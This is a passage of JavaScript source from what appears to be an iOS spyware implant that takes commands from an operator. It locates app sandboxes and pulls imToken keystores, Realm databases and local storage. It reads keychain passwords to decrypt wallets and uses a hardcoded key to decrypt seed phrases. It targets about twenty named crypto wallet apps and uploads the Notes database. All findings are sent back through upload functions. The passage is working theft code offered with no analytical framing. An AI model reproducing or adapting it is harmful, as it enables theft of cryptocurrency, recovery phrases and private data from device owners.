\"wallet_extract\"\n\t\t}, \"wallet_extract_result.json\");\n\t\treturn;\n\t}\n\n\tvar storageSub = \"Library/Application Support/im.token.app/RCTAsyncLocalStorage_V1\";\n\tvar data = _readAsyncStorage(containerPath, storageSub);\n\tif (!data) {\n\t\tvar altSub = \"Documents/RCTAsyncLocalStorage_V1\";\n\t\tdata = _readAsyncStorage(containerPath, altSub);\n\t}\n\n\tvar result = {\n\t\tstatus: \"success\",\n\t\twallet_type: \"imtoken\",\n\t\tcontainer: containerPath,\n\t\twallets: [],\n\t\tassets: [],\n\t\traw_keys: [],\n\t\trealm_files: [],\n\t\twallet_dir_files: [],\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"wallet_extract\"\n\t};\n\n\t// --- Phase 1: Realm database extraction (primary wallet storage) ---\n\t// imToken stores Realm in Documents/ (primary) or Library/Application Support/\n\tvar realmUploaded = false;\n\tvar realmSearchDirs = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var rdi = 0; rdi < realmSearchDirs.length; rdi++) {\n\t\tif (realmUploaded) break;\n\t\tvar realmDir = realmSearchDirs[rdi];\n\t\ttry {\n\t\t\tvar realmPath = realmDir + \"/default.realm\";\n\t\t\tvar realmSt = _statFile(realmPath);\n\t\t\tif (realmSt && realmSt.isFile && realmSt.size > 0) {\n\t\t\t\tresult.realm_files.push({\n\t\t\t\t\tpath: realmPath, size: realmSt.size\n\t\t\t\t});\n\t\t\t\tvar realmMaxSz = 16 * 1024 * 1024;\n\t\t\t\tif (realmSt.size <= realmMaxSz) {\n\t\t\t\t\tvar realmData = readFileB64(realmPath, realmMaxSz);\n\t\t\t\t\tif (realmData) {\n\t\t\t\t\t\tsendResult(cmd.command_id, realmData.b64,\n\t\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\t\trealmUploaded = true;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tsendFileChunked(cmd.command_id, realmPath,\n\t\t\t\t\t\t\"imtoken_default.realm\", \"wallet_extract\");\n\t\t\t\t\trealmUploaded = true;\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (realmErr) {\n\t\t\tresult.realm_error = String(realmErr);\n\t\t}\n\t}\n\n\t// --- Phase 2: Scan walletsV2/ and wallets/ directories for keystore files ---\n\t// These dirs can be in Documents/ or Library/Application Support/im.token.app/\n\tvar walletDirs = [];\n\tvar walletSearchBases = [\n\t\tcontainerPath + \"/Documents\",\n\t\tcontainerPath + \"/Library/Application Support/im.token.app\"\n\t];\n\tfor (var wb = 0; wb < walletSearchBases.length; wb++) {\n\t\tvar wbDir = walletSearchBases[wb];\n\t\tvar v2 = wbDir + \"/walletsV2\";\n\t\tvar v1 = wbDir + \"/wallets\";\n\t\tif (_statFile(v2)) walletDirs.push(v2);\n\t\tif (_statFile(v1)) walletDirs.push(v1);\n\t}\n\n\t// Keychain password for decryption attempts\n\tvar keychainPassword = null;\n\tresult.keychain_items = [];\n\ttry {\n\t\tvar keychainItems = _findImtokenKeychainPassword();\n\t\tif (keychainItems && keychainItems.length > 0) {\n\t\t\tfor (var ki = 0; ki < keychainItems.length; ki++) {\n\t\t\t\tresult.keychain_items.push(keychainItems[ki]);\n\t\t\t\tif (!keychainPassword && keychainItems[ki].data &&\n\t\t\t\t\tkeychainItems[ki].data.length >= 4) {\n\t\t\t\t\tkeychainPassword = keychainItems[ki].data;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t} catch (kcErr) {\n\t\tresult.keychain_error = String(kcErr);\n\t}\n\tvar password = p.password || keychainPassword;\n\n\tfor (var di = 0; di < walletDirs.length; di++) {\n\t\tvar wdir = walletDirs[di];\n\t\tvar wdirSt = _statFile(wdir);\n\t\tif (!wdirSt || !wdirSt.isDir) continue;\n\t\tvar entries = listDir(wdir);\n\t\tfor (var ei = 0; ei < entries.length; ei++) {\n\t\t\tvar ent = entries[ei];\n\t\t\tvar entPath = wdir + \"/\" + ent.name;\n\t\t\tif (ent.type === \"file\") {\n\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\tdir: di === 0 ? \"walletsV2\" : \"wallets\",\n\t\t\t\t\tname: ent.name\n\t\t\t\t});\n\t\t\t\tvar entSt = _statFile(entPath);\n\t\t\t\tif (entSt && entSt.size > 0 && entSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\tvar fb64 = readFileB64(entPath, 4 * 1024 * 1024);\n\t\t\t\t\tif (fb64) {\n\t\t\t\t\t\tvar fname = (di === 0 ? \"walletsV2_\" : \"wallets_\") + ent.name;\n\t\t\t\t\t\tsendResult(cmd.command_id, fb64.b64,\n\t\t\t\t\t\t\tfname, \"wallet_extract\");\n\t\t\t\t\t}\n\t\t\t\t\t// Parse JSON wallet files and attempt decryption\n\t\t\t\t\tif (ent.name.endsWith(\".json\")) {\n\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\tvar fileBytes = _readFileBytes(entPath, 4 * 1024 * 1024);\n\t\t\t\t\t\t\tif (fileBytes) {\n\t\t\t\t\t\t\t\tvar w = JSON.parse(_rawToStr(fileBytes));\n\t\t\t\t\t\t\t\tvar walletInfo = {\n\t\t\t\t\t\t\t\t\tid: w.id || ent.name.replace(\".json\", \"\"),\n\t\t\t\t\t\t\t\t\tname: (w.imTokenMeta && w.imTokenMeta.name) || \"\",\n\t\t\t\t\t\t\t\t\tsource: (w.imTokenMeta && w.imTokenMeta.source) || \"\",\n\t\t\t\t\t\t\t\t\tnetwork: (w.imTokenMeta && w.imTokenMeta.network) || \"\",\n\t\t\t\t\t\t\t\t\tversion: w.version || 0,\n\t\t\t\t\t\t\t\t\tfrom_dir: di === 0 ? \"walletsV2\" : \"wallets\"\n\t\t\t\t\t\t\t\t};\n\t\t\t\t\t\t\t\tif (w.crypto) {\n\t\t\t\t\t\t\t\t\twalletInfo.kdf = w.crypto.kdf || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.cipher = w.crypto.cipher || \"unknown\";\n\t\t\t\t\t\t\t\t\twalletInfo.keystore_present = true;\n\t\t\t\t\t\t\t\t\tif (password) {\n\t\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(w.crypto, password);\n\t\t\t\t\t\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} catch (decErr) {\n\t\t\t\t\t\t\t\t\t\t\twalletInfo.decrypt_error = String(decErr);\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decOrig = _decryptEncryptedMessage(w.encOriginal, fixedKey);\n\t\t\t\t\t\t\t\t\t\tif (decOrig) walletInfo.original_fixed_key = decOrig;\n\t\t\t\t\t\t\t\t\t} catch (origErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encOriginal_error = String(origErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_present = true;\n\t\t\t\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\t\t\t\ttry {\n\t\t\t\t\t\t\t\t\t\tvar decMnem = _decryptEncryptedMessage(w.encMnemonic, fixedKey2);\n\t\t\t\t\t\t\t\t\t\tif (decMnem) walletInfo.mnemonic_fixed_key = decMnem;\n\t\t\t\t\t\t\t\t\t} catch (mnemErr) {\n\t\t\t\t\t\t\t\t\t\twalletInfo.encMnemonic_error = String(mnemErr);\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tif (w.identity) {\n\t\t\t\t\t\t\t\t\twalletInfo.identifier = w.identity.identifier || \"\";\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t} catch (parseErr) {}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else if (ent.type === \"dir\") {\n\t\t\t\tvar subEntries = listDir(entPath);\n\t\t\t\tfor (var si = 0; si < subEntries.length; si++) {\n\t\t\t\t\tvar subEnt = subEntries[si];\n\t\t\t\t\tif (subEnt.type !== \"file\") continue;\n\t\t\t\t\tvar subPath = entPath + \"/\" + subEnt.name;\n\t\t\t\t\tresult.wallet_dir_files.push({\n\t\t\t\t\t\tdir: (di === 0 ? \"walletsV2\" : \"wallets\") + \"/\" + ent.name,\n\t\t\t\t\t\tname: subEnt.name\n\t\t\t\t\t});\n\t\t\t\t\tvar subSt = _statFile(subPath);\n\t\t\t\t\tif (subSt && subSt.size > 0 && subSt.size < 4 * 1024 * 1024) {\n\t\t\t\t\t\tvar sb64 = readFileB64(subPath, 4 * 1024 * 1024);\n\t\t\t\t\t\tif (sb64) {\n\t\t\t\t\t\t\tvar sfname = (di === 0 ? \"walletsV2_\" : \"wallets_\") +\n\t\t\t\t\t\t\t\tent.name + \"_\" + subEnt.name;\n\t\t\t\t\t\t\tsendResult(cmd.command_id, sb64.b64,\n\t\t\t\t\t\t\t\tsfname, \"wallet_extract\");\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t// --- Phase 3: AsyncStorage (Redux persist) ---\n\tif (data) {\n\t\tvar rawKeys = Object.keys(data);\n\t\tresult.raw_keys = rawKeys;\n\n\t\tvar walletsRaw = null;\n\t\tif (data[\"walletsV2\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"walletsV2\"]); } catch(e) {}\n\t\t}\n\t\tif (!walletsRaw && data[\"wallets\"]) {\n\t\t\ttry { walletsRaw = JSON.parse(data[\"wallets\"]); } catch(e) {}\n\t\t}\n\n\t\tif (walletsRaw) {\n\t\t\tvar wArr = Array.isArray(walletsRaw) ? walletsRaw :\n\t\t\t\t(walletsRaw.wallets ? walletsRaw.wallets : [walletsRaw]);\n\t\t\tfor (var wi = 0; wi < wArr.length; wi++) {\n\t\t\t\tvar w = wArr[wi];\n\t\t\t\tvar walletInfo = {\n\t\t\t\t\tid: w.id || w.walletID || (\"wallet_\" + wi),\n\t\t\t\t\tname: w.name || \"\",\n\t\t\t\t\taddress: w.address || \"\",\n\t\t\t\t\tsource: w.source || \"\",\n\t\t\t\t\tchainType: w.chainType || \"\"\n\t\t\t\t};\n\n\t\t\t\tif (w.keystore || w.crypto) {\n\t\t\t\t\tvar ks = w.keystore || { crypto: w.crypto };\n\t\t\t\t\twalletInfo.keystore_raw = ks;\n\t\t\t\t\twalletInfo.kdf = ks.crypto ? ks.crypto.kdf : \"unknown\";\n\n\t\t\t\t\tif (password) {\n\t\t\t\t\t\tvar decResult = _decryptKeystoreV3(ks.crypto, password);\n\t\t\t\t\t\tif (decResult) {\n\t\t\t\t\t\t\twalletInfo.decrypt_result = decResult;\n\t\t\t\t\t\t\twalletInfo.password_source = p.password ? \"provided\" : \"keychain\";\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (w.encMnemonic) {\n\t\t\t\t\twalletInfo.encMnemonic_raw = w.encMnemonic;\n\t\t\t\t\tif (typeof w.encMnemonic === \"object\" && w.encMnemonic.encStr) {\n\t\t\t\t\t\tvar fixedKey = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec = _decryptEncryptedMessage(w.encMnemonic, fixedKey);\n\t\t\t\t\t\tif (dec) walletInfo.mnemonic_fixed_key = dec;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tif (w.encOriginal) {\n\t\t\t\t\twalletInfo.encOriginal_raw = w.encOriginal;\n\t\t\t\t\tif (typeof w.encOriginal === \"object\" && w.encOriginal.encStr) {\n\t\t\t\t\t\tvar fixedKey2 = \"456b38706c33314b3279654867517779\";\n\t\t\t\t\t\tvar dec2 = _decryptEncryptedMessage(w.encOriginal, fixedKey2);\n\t\t\t\t\t\tif (dec2) walletInfo.original_fixed_key = dec2;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tresult.wallets.push(walletInfo);\n\t\t\t}\n\t\t}\n\n\t\tif (data[\"AssetToken\"]) {\n\t\t\ttry {\n\t\t\t\tvar assetData = JSON.parse(data[\"AssetToken\"]);\n\t\t\t\tvar items = assetData.itemsById || assetData;\n\t\t\t\tif (typeof items === \"object\") {\n\t\t\t\t\tfor (var assetKey in items) {\n\t\t\t\t\t\tif (!items.hasOwnProperty(assetKey)) continue;\n\t\t\t\t\t\tvar a = items[assetKey];\n\t\t\t\t\t\tresult.assets.push({\n\t\t\t\t\t\t\twalletAddress: a.walletAddress || a.accountAddress || \"\",\n\t\t\t\t\t\t\tchainId: a.chainId || \"\",\n\t\t\t\t\t\t\tchainType: a.chainType || \"\",\n\t\t\t\t\t\t\tname: a.name || \"\",\n\t\t\t\t\t\t\tsymbol: a.symbol || \"\",\n\t\t\t\t\t\t\tbalance: a.balance || \"0\",\n\t\t\t\t\t\t\tdecimal: a.decimal || 0\n\t\t\t\t\t\t});\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} catch(e) {\n\t\t\t\tresult.asset_parse_error = String(e);\n\t\t\t}\n\t\t}\n\n\t\tvar sensitiveKeys = [\"walletsV2\", \"wallets\", \"crypto\", \"encMnemonic\",\n\t\t\t\"encOriginal\", \"AssetToken\", \"identities\", \"accounts\"];\n\t\tvar rawData = {};\n\t\tfor (var ki = 0; ki < sensitiveKeys.length; ki++) {\n\t\t\tif (data[sensitiveKeys[ki]]) {\n\t\t\t\trawData[sensitiveKeys[ki]] = data[sensitiveKeys[ki]];\n\t\t\t}\n\t\t}\n\t\tfor (var rk = 0; rk < rawKeys.length; rk++) {\n\t\t\tvar lk = rawKeys[rk].toLowerCase();\n\t\t\tif (lk.indexOf(\"wallet\") >= 0 || lk.indexOf(\"token\") >= 0 ||\n\t\t\t\tlk.indexOf(\"mnemonic\") >= 0 || lk.indexOf(\"seed\") >= 0 ||\n\t\t\t\tlk.indexOf(\"key\") >= 0 || lk.indexOf(\"account\") >= 0 ||\n\t\t\t\tlk.indexOf(\"identity\") >= 0 || lk.indexOf(\"crypto\") >= 0) {\n\t\t\t\tif (!rawData[rawKeys[rk]]) rawData[rawKeys[rk]] = data[rawKeys[rk]];\n\t\t\t}\n\t\t}\n\n\t\tif (Object.keys(rawData).length > 0) {\n\t\t\tvar rawJson = JSON.stringify(rawData);\n\t\t\tvar rawB64 = bytesToBase64(new Uint8Array(Native.stringToBytes(rawJson, false)));\n\t\t\tsendResult(cmd.command_id, rawB64,\n\t\t\t\t\"imtoken_raw_storage.json\", \"wallet_extract\");\n\t\t}\n\t} else {\n\t\tresult.async_storage_status = \"not_found\";\n\t}\n\n\tresult.realm_uploaded = realmUploaded;\n\tvar endMs = Date.now();\n\tresult.execution_time = (endMs - startMs) / 1000;\n\tsendJSON(cmd.command_id, result, \"wallet_extract_result.json\",\n\t\t{ start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// ios_app_data: collect sandboxed app data by bundle_id\n// ============================================================================\n\nvar APP_DATA_BASE = \"/var/mobile/Containers/Data/Application\";\nvar APP_GROUP_BASE = \"/var/mobile/Containers/Shared/AppGroup\";\n\nfunction _toFfsPath(absPath) {\n\tif (absPath.indexOf(\"/private/\") === 0) return absPath.substring(1);\n\tif (absPath.indexOf(\"/var/\") === 0) return \"private\" + absPath;\n\tif (absPath.charAt(0) === \"/\") return absPath.substring(1);\n\treturn absPath;\n}\n\nfunction _findContainerIn(basePath, bundleId) {\n\tvar dirs = listDir(basePath);\n\tfor (var i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tvar containerPath = basePath + \"/\" + dirs[i].name;\n\t\tvar plistPath = containerPath + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tvar acc = Number(Native.callSymbol(\"access\", plistPath, 0));\n\t\tif (acc !== 0) continue;\n\t\tvar bytes = _readFileBytes(plistPath, 8192);\n\t\tif (!bytes || bytes.length === 0) continue;\n\t\tvar content = _rawToStr(bytes);\n\t\tif (content.indexOf(bundleId) >= 0) return containerPath;\n\t}\n\treturn null;\n}\n\nfunction _findAppContainer(bundleId) {\n\treturn _findContainerIn(APP_DATA_BASE, bundleId);\n}\n\nfunction _findAppGroupContainer(bundleId) {\n\treturn _findContainerIn(APP_GROUP_BASE, bundleId);\n}\n\nfunction _collectAppFiles(basePath, subPaths, excludePaths, filterMode, fileExts, maxFileSizeMB) {\n\tvar maxBytes = (maxFileSizeMB && maxFileSizeMB > 0) ? maxFileSizeMB * 1024 * 1024 : 0;\n\tvar exts = [];\n\tif (fileExts) {\n\t\tvar parts = fileExts.split(\",\");\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tvar e = parts[i].trim();\n\t\t\tif (e) exts.push(e.toLowerCase());\n\t\t}\n\t}\n\n\tvar scanRoots = [];\n\tif (subPaths && subPaths.length > 0) {\n\t\tfor (var i = 0; i < subPaths.length; i++) {\n\t\t\tvar sp = subPaths[i];\n\t\t\tvar full = (sp.charAt(0) === \"/\") ? basePath + sp : basePath + \"/\" + sp;\n\t\t\tif (_statFile(full)) scanRoots.push(full);\n\t\t}\n\t} else {\n\t\tscanRoots.push(basePath);\n\t}\n\n\tvar excludeFull = [];\n\tif (excludePaths) {\n\t\tfor (var i = 0; i < excludePaths.length; i++) {\n\t\t\texcludeFull.push(basePath + excludePaths[i]);\n\t\t}\n\t}\n\n\tvar files = [];\n\tfor (var ri = 0; ri < scanRoots.length; ri++) {\n\t\t_scanDir(scanRoots[ri], files, true, excludeFull,\n\t\t\tfilterMode || \"none\", exts, maxBytes);\n\t}\n\treturn files;\n}\n\nfunction handleIosAppData(cmd) {\n\tvar p = cmd.params || {};\n\tvar targets = p.targets || [];\n\tvar maxFileSizeMB = (p.max_file_size_mb !== undefined) ? p.max_file_size_mb : 500;\n\tvar startMs = Date.now();\n\n\tif (!targets.length) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty targets array\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: \"ios_app_data\"\n\t\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: Date.now() });\n\t\treturn;\n\t}\n\n\tvar totalCollected = 0;\n\tvar totalUploaded = 0;\n\tvar targetResults = [];\n\n\tfor (var ti = 0; ti < targets.length; ti++) {\n\t\tvar t = targets[ti];\n\t\tvar bundleId = t.bundle_id;\n\t\tif (!bundleId) {\n\t\t\ttargetResults.push({ bundle_id: \"\", status: \"skipped\", error: \"empty bundle_id\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar containerPath = _findAppContainer(bundleId);\n\t\tvar groupPath = _findAppGroupContainer(bundleId);\n\n\t\tif (!containerPath && !groupPath) {\n\t\t\ttargetResults.push({ bundle_id: bundleId, status: \"not_found\",\n\t\t\t\terror: \"app container not found\" });\n\t\t\tcontinue;\n\t\t}\n\n\t\tvar effectiveMax = maxFileSizeMB;\n\t\tif (effectiveMax === -1) effectiveMax = 0;\n\n\t\tvar containers = [];\n\t\tif (containerPath) containers.push(containerPath);\n\t\tif (groupPath) containers.push(groupPath);\n\n\t\tvar uploaded = 0;\n\t\tvar allFiles = 0;\n\n\t\tfor (var ci = 0; ci < containers.length; ci++) {\n\t\t\tvar ctrPath = containers[ci];\n\t\t\tvar files = _collectAppFiles(ctrPath, t.paths || null,\n\t\t\t\tt.exclude_paths || null, t.filter_mode || \"none\",\n\t\t\t\tt.file_extensions || \"\", effectiveMax);\n\t\t\tallFiles += files.length;\n\n\t\t\tfor (var fi = 0; fi < files.length; fi++) {\n\t\t\t\tvar fname = _toFfsPath(files[fi]);\n\n\t\t\t\tvar sz = getFileSize(files[fi]);\n\t\t\t\tif (sz <= 0) continue;\n\n\t\t\t\tvar isLast = (ci === containers.length - 1 && fi === files.length - 1);\n\t\t\t\tvar meta = isLast ? { start_ms: startMs, end_ms: Date.now() } : null;\n\n\t\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\t\tvar rd = readFileB64(files[fi],\n\t\t\t\t\t\teffectiveMax > 0 ? effectiveMax * 1024 * 1024 : MAX_FILE_SIZE);\n\t\t\t\t\tif (rd) {\n\t\t\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"ios_app_data\", meta);\n\t\t\t\t\t\tuploaded++;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi],\n\t\t\t\t\t\tfname, \"ios_app_data\", meta);\n\t\t\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\ttotalCollected += allFiles;\n\t\ttotalUploaded += uploaded;\n\t\ttargetResults.push({\n\t\t\tbundle_id: bundleId,\n\t\t\tcontainer: containerPath || null,\n\t\t\tapp_group: groupPath || null,\n\t\t\tstatus: \"done\",\n\t\t\tfiles_found: allFiles,\n\t\t\tfiles_uploaded: uploaded\n\t\t});\n\t}\n\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: totalUploaded > 0 ? \"success\" : (totalCollected > 0 ? \"partial\" : \"empty\"),\n\t\tfile_count: totalUploaded,\n\t\ttotal_scanned: totalCollected,\n\t\ttargets_processed: targetResults.length,\n\t\ttarget_details: targetResults,\n\t\texecution_time: (endMs - startMs) / 1000,\n\t\t_task_id: p._task_id || \"\",\n\t\t_task_type: \"ios_app_data\"\n\t}, \"ios_app_data_result.json\", { start_ms: startMs, end_ms: endMs });\n}\n\n// ============================================================================\n// wallet_scan: scan installed wallet apps and collect sandbox files\n// ============================================================================\n\nvar WALLET_BUNDLE_IDS = {\n\t// All listed wallets collect sandbox hot-files when installed.\n\t// Keychain dump still covers secrets; sandbox globs catch app-local vaults.\n\t\"com.bitpie.wallet\": { name: \"Bitpie\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.bitpie.wallet.plist\"] },\n\t\"com.uniswap.mobile\": { name: \"Uniswap\", sandbox: true,\n\t\tfiles: [\"Library/Application Support/*/RCTAsyncLocalStorage_V1/*\", \"Documents/*\"] },\n\t\"app.phantom\": { name: \"Phantom\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.solflare.mobile\": { name: \"Solflare\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Library/Preferences/com.solflare.mobile.plist\"] },\n\t\"org.mytonwallet.app\": { name: \"MyTonWallet\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"org.toshi\": { name: \"Coinbase\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\", \"Library/Preferences/org.toshi.plist\"] },\n\t\"io.metamask.MetaMask\": { name: \"MetaMask\", sandbox: true,\n\t\tmaxFileSize: 5 * 1024 * 1024,\n\t\tfiles: [\"Documents/persist-root\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.okex.OKExAppstoreFull\": { name: \"OKX\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Preferences/com.okex.OKExAppstoreFull.plist\",\n\t\t\t\"Library/Application Support/*/*\"] },\n\t\"exodusmovement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"exodus-movement.exodus\": { name: \"Exodus\", sandbox: true,\n\t\tfiles: [\"Documents/*\", \"Library/Application Support/*/*\"] },\n\t\"com.jbig.tonkeeper\": { name: \"Tonkeeper\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/*\", \"Documents/*\", \"Library/Application Support/*/*\"] },\n\n\t\"com.sixdays.trust\": { name: \"Trust Wallet\", sandbox: true,\n\t\tfiles: [\"Documents/UTC--*\", \"Documents/keystore/UTC--*\", \"Documents/*\"] },\n\t\"com.bitkeep.os\": { name: \"Bitget\", sandbox: true,\n\t\tfiles: [\"Library/Preferences/com.bitkeep.os.plist\", \"Documents/*\"] },\n\t\"coin98.crypto.finance.insights\": { name: \"Coin98\", sandbox: true,\n\t\tmaxFileSize: 10 * 1024 * 1024,\n\t\tfiles: [\"Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/*\",\n\t\t\t\"Documents/mmkv/*\", \"Library/Application Support/mmkv/*\"] },\n\t\"com.tonhub.app\": { name: \"Tonhub\", sandbox: true,\n\t\tfiles: [\"Documents/mmkv/mmkv.default\", \"Documents/mmkv/*\"] },\n\t\"com.tronlink.hdwallet\": { name: \"TronLink\", sandbox: true,\n\t\tfiles: [\"Documents/keystore/UTC--*\", \"Documents/UTC--*\", \"Documents/wallets/*\",\n\t\t\t\"Documents/*\", \"Library/Preferences/com.tronlink.hdwallet.plist\"] },\n\t\"com.global.wallet.ios\": { name: \"TokenPocket\", sandbox: true,\n\t\tfiles: [\"Documents/wallets/*\", \"Documents/identity.json\", \"Documents/*\",\n\t\t\t\"Library/Preferences/com.global.wallet.ios.plist\"] },\n\t\"im.token.app\": { name: \"imToken\", sandbox: true,\n\t\tfiles: [\"Documents/walletsV2/*.json\", \"Documents/walletsV2/*\", \"Documents/*\",\n\t\t\t\"Documents/default.realm\"] }\n};\n\nfunction _resolveWalletFiles(containerPath, patterns) {\n\t// Supports mid-path globs: \"Library/Application Support/*/*\"\n\tvar results = [];\n\tvar seen = {};\n\tfunction pushFile(rel, abs) {\n\t\tif (seen[rel]) return;\n\t\tseen[rel] = true;\n\t\tresults.push({ relPath: rel, absPath: abs });\n\t}\n\tfunction expand(relPrefix, segs, si) {\n\t\tif (si >= segs.length) return;\n\t\tvar seg = segs[si];\n\t\tif (!seg) { expand(relPrefix, segs, si + 1); return; }\n\t\tvar isLast = (si === segs.length - 1);\n\t\tvar dirPath = containerPath + (relPrefix ? \"/\" + relPrefix : \"\");\n\t\tif (seg.indexOf(\"*\") >= 0 || seg.indexOf(\"?\") >= 0) {\n\t\t\tvar items = listDir(dirPath);\n\t\t\tfor (var i = 0; i < items.length; i++) {\n\t\t\t\tif (!_matchGlob(items[i].name, seg)) continue;\n\t\t\t\tvar nextRel = relPrefix ? (relPrefix + \"/\" + items[i].name) : items[i].name;\n\t\t\t\tif (isLast) {\n\t\t\t\t\tif (items[i].type === \"file\")\n\t\t\t\t\t\tpushFile(nextRel, dirPath + \"/\" + items[i].name);\n\t\t\t\t} else if (items[i].type === \"dir\") {\n\t\t\t\t\texpand(nextRel, segs, si + 1);\n\t\t\t\t}\n\t\t\t}\n\t\t} else if (isLast) {\n\t\t\tvar full = dirPath + \"/\" + seg;\n\t\t\tif (Number(Native.callSymbol(\"access\", full, 0)) === 0)\n\t\t\t\tpushFile(relPrefix ? (relPrefix + \"/\" + seg) : seg, full);\n\t\t} else {\n\t\t\texpand(relPrefix ? (relPrefix + \"/\" + seg) : seg, segs, si + 1);\n\t\t}\n\t}\n\tfor (var pi = 0; pi < patterns.length; pi++)\n\t\texpand(\"\", patterns[pi].split(\"/\"), 0);\n\treturn results;\n}\n\n// ============================================================================\n// Memo Scan: read notes.sqlite and upload structured memo data\n// ============================================================================\n\nfunction _findNoteStore() {\n\t// iOS 18 NoteStore.sqlite (AppGroup) - check first\n\tvar agBase = \"/var/mobile/Containers/Shared/AppGroup\";\n\tvar dirs = listDir(agBase);\n\tfor (var d = 0; d < dirs.length; d++) {\n\t\tif (dirs[d].type !== \"dir\") continue;\n\t\tvar p = agBase + \"/\" + dirs[d].name + \"/NoteStore.sqlite\";\n\t\tif (Number(Native.callSymbol(\"access\", p, 0)) === 0) return p;\n\t}\n\t// Legacy fallback\n\tvar bases = [\n\t\t\"/private/var/mobile/Library/Notes/notes.sqlite\",\n\t\t\"/tmp/notes.sqlite\"\n\t];\n\tfor (var i = 0; i < bases.length; i++) {\n\t\tif (Number(Native.callSymbol(\"access\", bases[i], 0)) === 0) return bases[i];\n\t}\n\treturn \"\";\n}\n\nfunction handleMemoScan(cmd) {\n\tvar startMs = Date.now();\n\tvar uploaded = 0;\n\tvar dbPath = _findNoteStore();\n\tif (dbPath) {\n\t\tvar suffixes = [\"\", \"-wal\", \"-shm\"];\n\t\tfor (var i = 0; i < suffixes.length; i++) {\n\t\t\tvar fp = dbPath + suffixes[i];\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tvar fname = fp.substring(fp.lastIndexOf(\"/\") + 1);\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) { sendResult(cmd.command_id, f.b64, fname, \"memo_db\"); uploaded++; }\n\t\t\t} else {\n\t\t\t\tvar cr = sendFileChunked(cmd.command_id, fp, fname, \"memo_db\");\n\t\t\t\tif (cr && cr.ok) uploaded++;\n\t\t\t}\n\t\t}\n\t}\n\tvar endMs = Date.now();\n\tsendJSON(cmd.command_id, {\n\t\tstatus: uploaded > 0 ? \"success\" : 